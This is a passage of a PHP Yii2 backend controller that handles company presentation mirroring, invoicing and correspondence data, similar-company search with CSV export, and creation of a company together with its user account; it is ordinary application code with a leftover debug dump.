                    $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['groups'][] = $subgropup;
                }
                
            }
        }
        
        $outputParams = [
            'model' => $modelCompany,
            'presentationsByGroups' => $presentationsByGroups
        ]; 
        
        if(Yii::$app->request->getIsPost()) { 
            if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            $mirroringData = Yii::$app->request->post('mirroring');
            if(empty($mirroringData)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('presentations_settings', $outputParams);
            }
            
            $mirroringSets = explode("|", $mirroringData);
            if(empty($mirroringSets)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('presentations_settings', $outputParams);
            }
            
            $mirroringRelations = [];            
            $idsProcessedPresentations = [];
            foreach($mirroringSets as $mirroringSet) {
                $idsPresentations = array_map(function($value) { return intval(trim($value)); }, explode(",", trim($mirroringSet)));
                if(count($idsPresentations) < 2) {
                    $idsProcessedPresentations[] = $idsPresentations[0];
                    continue;
                } 

                $modelsSelectedPresentations = $modelCompany->getPresentations()->with('portal')->andWhere(['id_presentation' => $idsPresentations])->all();
                if(empty($modelsSelectedPresentations) || count($modelsSelectedPresentations) !== count($idsPresentations)) {
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                    return $this->render('presentations_settings', $outputParams);
                }
                $idParentPortal = null;
                foreach($modelsSelectedPresentations as $modelSelectedPresentation) {
                    if(in_array($modelSelectedPresentation->id_presentation, $idsProcessedPresentations) || empty($modelSelectedPresentation->portal->id_parent_portal)) {
                        Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                        return $this->render('presentations_settings', $outputParams);
                    }

                    if($idParentPortal === null) {
                        $idParentPortal = $modelSelectedPresentation->portal->id_parent_portal;
                        continue;
                    } elseif($modelSelectedPresentation->portal->id_parent_portal !== $idParentPortal) {
                        var_dump($modelsSelectedPresentations) ;exit;
                        Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                        return $this->render('presentations_settings', $outputParams);
                    }

                    $idsProcessedPresentations[] = $modelSelectedPresentation->id_presentation;
                }

                $idsProcessedPresentations = array_unique($idsProcessedPresentations);

                $mirroringRelations[] = $idsPresentations;
            }
            
            unset($modelsSelectedPresentations);

            $idsCompaniesPresentations = array_keys($modelsPresentations);

            $transaction = Yii::$app->db->beginTransaction();

            \common\models\CompaniesPresentationsMirroring::deleteAll(['or', ['id_presentation' => $idsCompaniesPresentations], ['id_related_presentation' => $idsCompaniesPresentations]]);

            if(!empty($mirroringRelations)) {
                foreach($mirroringRelations as $mirroringRelation) {
                    foreach($mirroringRelation as $id1) {
                        foreach($mirroringRelation as $id2) {
                            if($id1 === $id2) {
                                continue;
                            }

                            $modelMirroring = new \common\models\CompaniesPresentationsMirroring();
                            $modelMirroring->id_presentation = $id1;
                            $modelMirroring->id_related_presentation = $id2;
                            if(!$modelMirroring->save()) {                                
                                $transaction->rollBack();
                                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                                return $this->render('presentations_settings', $outputParams);
                            }

                        }
                    }
                }
            }

            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                
            return $this->redirect(['presentations-settings', 'id' => $modelCompany->id_company]);
        }
        
        unset($modelsPresentations);
        
        return $this->render('presentations_settings', $outputParams);
    }

    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Creates a new CompaniesInvoicingData model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreateInvoicingData()
    {
        $model = new CompaniesInvoicingData(['scenario' => 'create']);
        $model->id_country = 'PL';
        $model->id_company = intval(Yii::$app->request->get('id_company', null));
        
        $modelCompany = Companies::findOne($model->id_company);
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_country']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_invoicing_data', ['model' => $model]);
            }
                        
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_invoicing_data', ['model' => $model]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            if($model->or_main) {
                $modelsCompanyOtherInvoicingData = CompaniesInvoicingData::find()->where(['or_main' => 1, 'id_company' => $modelCompany->id_company])->andWhere(['not', ['id_invoicing_data' => $model->id_invoicing_data]])->all();
                if(!empty($modelsCompanyOtherInvoicingData)) {
                    foreach($modelsCompanyOtherInvoicingData as $modelCompanyOtherInvoicingData) {
                        $modelCompanyOtherInvoicingData->or_main = 0;
                        if(!$modelCompanyOtherInvoicingData->save(false)) {
                            $flag = false;
                            break;
                        }
                    }
                }
            } elseif(!$modelCompany->getInvoicingData()->exists()) {
                $model->or_main = 1;
            }
            
            $flag = $flag && $model->save(false);
            
            if ($flag) {
                $transaction->commit();
                $this->createEntryForUserChange(UserChangeType::COMPANY_INVOICING_DATA_ADDED, $model->id_invoicing_data, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_company]);
                } 
                else {
                    $model = new CompaniesInvoicingData(['scenario' => 'create']);
                    $model->id_company = intval(Yii::$app->request->get('id_company', null));
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_invoicing_data', [
            'model' => $model,
        ]);
    }
    
    /**
     * Updates an existing CompaniesInvoicingData model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateInvoicingData($id)
    {
        $model = $this->findModelInvoicingData($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model->setScenario('update');
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_country']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldOrMain = $model->or_main;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_invoicing_data', ['model' => $model]);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_invoicing_data', ['model' => $model]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            if(intval($oldOrMain) !== intval($model->or_main)) {
                if($model->or_main) {
                    $modelsCompanyOtherInvoicingData = CompaniesInvoicingData::find()->where(['or_main' => 1, 'id_company' => $model->id_company])->andWhere(['not', ['id_invoicing_data' => $model->id_invoicing_data]])->all(); 
                    if(!empty($modelsCompanyOtherInvoicingData)) {
                        foreach($modelsCompanyOtherInvoicingData as $modelCompanyOtherInvoicingData) {
                            $modelCompanyOtherInvoicingData->or_main = 0;
                            if(!$modelCompanyOtherInvoicingData->save(false)) {
                                $flag = false;
                                break;
                            }
                        }
                    }
                } else {
                    $modelCompanyOtherInvoicingData = CompaniesInvoicingData::find()->where(['id_company' => $model->id_company])->andWhere(['not', ['id_invoicing_data' => $model->id_invoicing_data]])->orderBy('id_invoicing_data')->one(); 
                    if($modelCompanyOtherInvoicingData) {
                        $modelCompanyOtherInvoicingData->or_main = 1;
                        if(!$modelCompanyOtherInvoicingData->save(false)) {
                            $flag = false;
                        }
                    } else {
                        $model->or_main = 1;
                    }
                }
            }
            
            $flag = $flag && $model->save(false);
            
            if ($flag) {    
                $transaction->commit();
                $this->createEntryForUserChange(UserChangeType::COMPANY_INVOICING_DATA_MODIFIED, $model->id_invoicing_data, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                $this->deleteImportErrorEntryIfExists();
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_company]);
                }                
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }

        return $this->conditionalRender('update_invoicing_data', [
            'model' => $model,
        ]);
    }
    
    public function actionUpdateAnnotations($id)
    {
        $model = $this->findModel($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesAnnotations', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model->setScenario('update');
        
        if(Yii::$app->request->getIsPost()) { 
            $postData = Yii::$app->request->post('Companies');
            $annotations = !empty($postData['annotations']) ? $postData['annotations'] : null;
            
            $model->annotations = $annotations;
            
            if(!$model->validate(['annotations'])) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_annotations', ['model' => $model]);
            }
            
            if ($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_company]);
                }                
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }

        return $this->conditionalRender('update_annotations', [
            'model' => $model,
        ]);
    }
    
    /**
     * Deletes an existing CompaniesInvoicingData model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteInvoicingData($id)
    {
        $model = $this->findModelInvoicingData($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        if($model->or_main) {
            $modelCompanyOtherInvoicingData = CompaniesInvoicingData::find()->where(['id_company' => $model->id_company])->andWhere(['not', ['id_invoicing_data' => $model->id_invoicing_data]])->orderBy('id_invoicing_data')->one(); 
            if($modelCompanyOtherInvoicingData) {
                $modelCompanyOtherInvoicingData->or_main = 1;
                if(!$modelCompanyOtherInvoicingData->save(false)) {
                    $flag = false;
                }
            }
        } 
        
        $flag = $flag && $model->delete();
        
        if($flag) {
            $transaction->commit();
            $this->createEntryForUserChange(UserChangeType::COMPANY_INVOICING_DATA_DELETED, null, $model->id_company);        
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_company]);
    }
    
    /**
     * Finds the CompaniesInvoicingData model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return CompaniesInvoicingData the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelInvoicingData($id)
    {
        if (($model = CompaniesInvoicingData::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Creates a new CompaniesCorrespondenceData model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreateCorrespondenceData()
    {
        $model = new CompaniesCorrespondenceData(['scenario' => 'create']);
        $model->id_country = 'PL';
        $model->id_company = intval(Yii::$app->request->get('id_company', null));

        $modelCompany = Companies::findOne($model->id_company);
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_country']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_correspondence_data', ['model' => $model]);
            }
                        
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_correspondence_data', ['model' => $model]);
            }
            
            if ($model->save(false)) {
                $this->createEntryForUserChange(UserChangeType::COMPANY_CORRESPONDENCE_DATA_ADDED, $model->id_correspondence_data, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_company]);
                }  
                else {
                    $model = new CompaniesCorrespondenceData(['scenario' => 'create']);
                    $model->id_company = intval(Yii::$app->request->get('id_company', null));
                }
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_correspondence_data', [
            'model' => $model,
        ]);
    }
    
    /**
     * Updates an existing CompaniesCorrespondenceData model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateCorrespondenceData($id)
    {
        $model = $this->findModelCorrespondenceData($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model->setScenario('update');
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_country']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_correspondence_data', ['model' => $model]);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_correspondence_data', ['model' => $model]);
            }
            
            if ($model->save(false)) {
                $this->createEntryForUserChange(UserChangeType::COMPANY_CORRESPONDENCE_DATA_MODIFIED, $model->id_correspondence_data, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                $this->deleteImportErrorEntryIfExists();
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_company]);
                }
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }

        return $this->conditionalRender('update_correspondence_data', [
            'model' => $model,
        ]);
    }
    
    /**
     * Deletes an existing CompaniesCorrespondenceData model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteCorrespondenceData($id)
    {
        $model = $this->findModelCorrespondenceData($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $model]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model->delete();
        
        $this->createEntryForUserChange(UserChangeType::COMPANY_CORRESPONDENCE_DATA_DELETED, $model->id_correspondence_data, $model->id_company);
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        
        return $this->redirect(['view', 'id' => $model->id_company]);
    }
    
    /**
     * Print CompaniesCorrespondenceData model.
     * @param integer $id
     * @return mixed
     */
    public function actionPrintCorrespondenceData($id)
    {
        $model = $this->findModelCorrespondenceData($id);
        
        if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }

        $this->layout = false;
        
        return $this->conditionalRender('print_correspondence_data', [
            'model' => $model,
        ]);
    }
    
    /**
     * Finds the CompaniesCorrespondenceData model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return CompaniesCorrespondenceData the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCorrespondenceData($id)
    {
        if (($model = CompaniesCorrespondenceData::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    public function actionGetListForAutocomplete() 
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        if(!Yii::$app->user->can('indexCompanies') && !Yii::$app->user->can('indexAssignedCompanies') && !Yii::$app->user->can('indexOwnCompanies')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $term = Yii::$app->request->get('term');
        
        $output = [];
        
        if(!empty($term)) {
            $companies = Companies::find()->select(['id_company', 'name'])->where(['ilike', 'name', $term])->asArray()->all();
            if(!empty($companies)) {
                foreach($companies as $company) {
                    $output[] = [
                        'label' => $company['name'],
                        'id' => $company['id_company']
                    ];
                }
            }
        }
        
        return $output;
    }
    
    public function actionChangeManagedCompany($id) 
    {
        $model = $this->findModel($id);
        
        if (!\Yii::$app->user->can('viewOwnCompaniesData', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->session->set('managedCompany', $model);
        
        return $this->redirect(['index/index']);
    }
    
    public function actionSimilar()
    {  
        if (!\Yii::$app->user->can('indexSimilarCompanies')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $queryParams = Yii::$app->request->queryParams;
        
        if(!empty($queryParams['CompaniesSimilarSearch']['or_download_emails']) && !Yii::$app->user->can('indexCompanies')) {
            $queryParams['CompaniesSimilarSearch']['id_operator'] = Yii::$app->user->id;
        } 
        
        $modelSearch = new CompaniesSimilarSearch();        
        
        $dataProvider = $modelSearch->search($queryParams);
        
        if($dataProvider === false) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wynik wyszukiwania zawiera ponad 65 tysięcy wyników - musisz zawęzić kryteria.'));
            return $this->redirect(['similar']);
        }      

        if($modelSearch->or_download_emails && is_string($dataProvider) && file_exists($dataProvider)) {
            $targetFilePath = $dataProvider;
            
            $response = Yii::$app->getResponse();
            $response->setDownloadHeaders(basename($targetFilePath), 'text/csv');
            $response->sendFile($targetFilePath);
            $response->send();

            @unlink($targetFilePath);
            
        } else {
            return $this->render('similar', [
                'modelSearch' => $modelSearch,
                'dataProvider' => $dataProvider,
            ]);
        }
    }
    
    public function actionCategoriesTree()
    {
        if (!\Yii::$app->user->can('indexSimilarCompanies')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idPortal = (int)Yii::$app->request->get('id_portal');
        $idsCategories = explode(",", Yii::$app->request->get('ids_categories'));
        
        if(!empty($idsCategories)) {
            $companiesCategories = array_map(function($item) { return intval($item); }, $idsCategories);
        }
        else {
            $companiesCategories = [];
        }
        
        if(!empty($idPortal)) {            
            $portalsCategories = \common\models\CompaniesCategories::getJSONCategoryTree($idPortal, $companiesCategories);
        } else {
            $portalsCategories = json_encode([]);
        }

        return $this->renderAjax('categories_trees', [
            'categories' => $portalsCategories,
            'idPortal' => $idPortal
        ]);
    }
    
    public function actionUsersList()
    {
        if(!\Yii::$app->user->can('createCompanies') && !\Yii::$app->user->can('modifyCompaniesData', ['model' => null])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['UsersSearch']['profile'] = UserProfile::COMPANY;
        
        $searchModel = new UsersSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('users_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionCreateWithAccount()
    {
        if (!\Yii::$app->user->can('createCompanies')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $labelsForContactDataTypes = ContactDataType::getValuesWithLabels();
        
        $modelUser = new Users(['scenario' => 'create']);        
        $baseModelUserContactData = new UsersContactData(['scenario' => 'create']);
        $modelsUserContactData[] = new UsersContactData(['scenario' => 'create', 'data_order' => 1, 'required' => 1, 'data_type' => ContactDataType::EMAIL, 'data_label' => ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL])]);
        $modelsUserContactData[] = new UsersContactData(['scenario' => 'create', 'data_order' => 2, 'required' => 1, 'data_type' => ContactDataType::MOBILE_PHONE, 'data_label' => ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE])]);
        
        $modelCompany = new Companies(['scenario' => 'create']);
        $modelCompany->id_country = 'PL';
        $modelCompany->usage_status = \common\models\types\CompanyUsageStatus::UNUSED;
        
        $baseModelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);        
        
        if(Yii::$app->request->getIsPost()) {
            $postCompaniesContactData = Yii::$app->request->post('CompaniesContactData', []);
            if(!empty($postCompaniesContactData)) {
                foreach($postCompaniesContactData as $key => $value) {
                    $modelsCompanyContactData[$key] = new CompaniesContactData(['scenario' => 'create']);
                }
            }
            $postUsersContactData = Yii::$app->request->post('UsersContactData', []);
            if(!empty($postUsersContactData)) {
                foreach($postUsersContactData as $key => $value) {
                    if(!isset($modelsUserContactData)) {
                        $modelsUserContactData[$key] = new UsersContactData(['scenario' => 'create']);
                    }
                }
            }
        }
        
        $outputParams = [
            'modelCompany' => $modelCompany, 
            'modelUser' => $modelUser,
            'baseModelUserContactData' => $baseModelUserContactData,
            'baseModelCompanyContactData' => $baseModelCompanyContactData,
            'modelsUserContactData' => $modelsUserContactData,
            'modelsCompanyContactData' => $modelsCompanyContactData
        ];

        if (Yii::$app->request->isAjax && $modelUser->load(Yii::$app->request->post()) && $modelCompany->load(Yii::$app->request->post()) && (empty($modelsCompanyContactData) || \yii\base\Model::loadMultiple($modelsCompanyContactData, Yii::$app->request->post())) && (empty($modelsUserContactData) || \yii\base\Model::loadMultiple($modelsUserContactData, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(
                \yii\bootstrap\ActiveForm::validate($modelUser), 
                \yii\bootstrap\ActiveForm::validate($modelCompany, ['id_user', 'id_country', 'listLanguages', 'listBusinessSectors']), 
                !empty($modelsCompanyContactData) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsCompanyContactData, ['data_type', 'data_value', 'data_label', 'data_order']) : [],
                !empty($modelsUserContactData) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsUserContactData, ['data_type', 'data_value', 'data_label', 'data_order']) : []
            );
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelUser->load(Yii::$app->request->post()) || !$modelCompany->load(Yii::$app->request->post()) || (!empty($modelsCompanyContactData) && !\yii\base\Model::loadMultiple($modelsCompanyContactData, Yii::$app->request->post())) || (!empty($modelsUserContactData) && !\yii\base\Model::loadMultiple($modelsUserContactData, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create_with_account', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $modelUser->status = Status::ACTIVE;
            $modelUser->profile = UserProfile::COMPANY;
            $modelUser->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForUser']];
            $modelUser->password = Yii::$app->getSecurity()->generatePasswordHash($modelUser->password);
            $modelUser->generateAuthKey();
            $modelUser->referrer = Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname;
            
            $modelCompany->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForCompany']];            
            $modelCompany->loadLogoFile();
            
            if(!$modelUser->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $modelUser->getErrors());
                return $this->render('create_with_account', $outputParams);
            }
            
            $flag = $modelUser->save(false);
            if($flag) {            
                $modelCompany->id_user = $modelUser->id_user;
            }
            
            if(!$modelCompany->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $modelCompany->getErrors());
                return $this->render('create_with_account', $outputParams);
            }
            
            $flag = $flag && $modelCompany->save(false);
                               
            if($flag && !empty($modelsCompanyContactData)) {
                foreach($modelsCompanyContactData as $key => $modelCompanyContactData) {
                    $modelCompanyContactData->data_order = intval($modelCompanyContactData->data_order);
                    $modelCompanyContactData->id_company = $modelCompany->id_company;
                    $settings = $modelCompanyContactData->settings; 
                    if($modelCompanyContactData->data_type === ContactDataType::EMAIL && isset($postCompaniesContactData[$key]['purposes'])) {                          
                        foreach($postCompaniesContactData[$key]['purposes'] as $purposeField => $purposeValue) {
                            $settings['purposes'][$purposeField] = intval($purposeValue);
                        }
                        $modelCompanyContactData->settings = $settings; 
                    } elseif(isset($settings['purposes'])) {
                        unset($settings['purposes']);
                        $modelCompanyContactData->settings = !empty($settings) ? $settings : [];
                    }
                }
                
                if(!\yii\base\Model::validateMultiple($modelsCompanyContactData)) {                    
                    $errorsFromModelsCompanyContactData = [];
                    if(!empty($modelsCompanyContactData)) {
                        foreach($modelsCompanyContactData as $modelCompanyContactData) {
                            if($modelCompanyContactData->hasErrors()) {
                                foreach($modelCompanyContactData->getErrors() as $error) {
                                    $errorsFromModelsCompanyContactData[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsCompanyContactData);
                    return $this->render('create_with_account', $outputParams);
                }
                
                ArrayHelper::multisort($modelsCompanyContactData, ['data_order'], [SORT_ASC]);
                $i = 1;
                foreach($modelsCompanyContactData as $modelCompanyContactData) {
                    $modelCompanyContactData->data_order = $i;
                    $i++;
                    if(!$modelCompanyContactData->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag && !empty($modelsUserContactData)) {
                foreach($modelsUserContactData as $key => $modelUserContactData) {
                    $modelUserContactData->data_order = intval($modelUserContactData->data_order);
                    $modelUserContactData->id_user = $modelUser->id_user;
                    $settings = $modelUserContactData->settings; 
                    if($modelUserContactData->data_type === ContactDataType::EMAIL && isset($postUsersContactData[$key]['purposes'])) {                          
                        foreach($postUsersContactData[$key]['purposes'] as $purposeField => $purposeValue) {
                            $settings['purposes'][$purposeField] = intval($purposeValue);
                        }
                        $modelUserContactData->settings = $settings; 
                    } elseif(isset($settings['purposes'])) {
                        unset($settings['purposes']);
                        $modelUserContactData->settings = !empty($settings) ? $settings : [];
                    }
                }
                
                if(!\yii\base\Model::validateMultiple($modelsUserContactData)) {                    
                    $errorsFromModelsUserContactData = [];
                    if(!empty($modelsUserContactData)) {
                        foreach($modelsUserContactData as $modelUserContactData) {
                            if($modelUserContactData->hasErrors()) {
                                foreach($modelUserContactData->getErrors() as $error) {
                                    $errorsFromModelsUserContactData[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsUserContactData);
                    return $this->render('create_with_account', $outputParams);
                }
                
                ArrayHelper::multisort($modelsUserContactData, ['data_order'], [SORT_ASC]);
                $i = 1;
                foreach($modelsUserContactData as $modelUserContactData) {
                    $modelUserContactData->data_order = $i;
                    $i++;
                    if(!$modelUserContactData->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            $flag = $flag && $modelCompany->saveLanguages();
            $flag = $flag && $modelCompany->saveBusinessSectors();
            
            if($flag && Yii::$app->user->identity->profile === UserProfile::MARKETER) {
                $idsPortals = Yii::$app->request->post('operator-portals', []);
                if(!empty($idsPortals)) {
                    $actualDatetime = date("Y-m-d H:i:s");
                    foreach($idsPortals as $idPortal) {
                        $assignedPortals[] = [
                            'id_portal' => intval($idPortal),
                            'created_at' => $actualDatetime
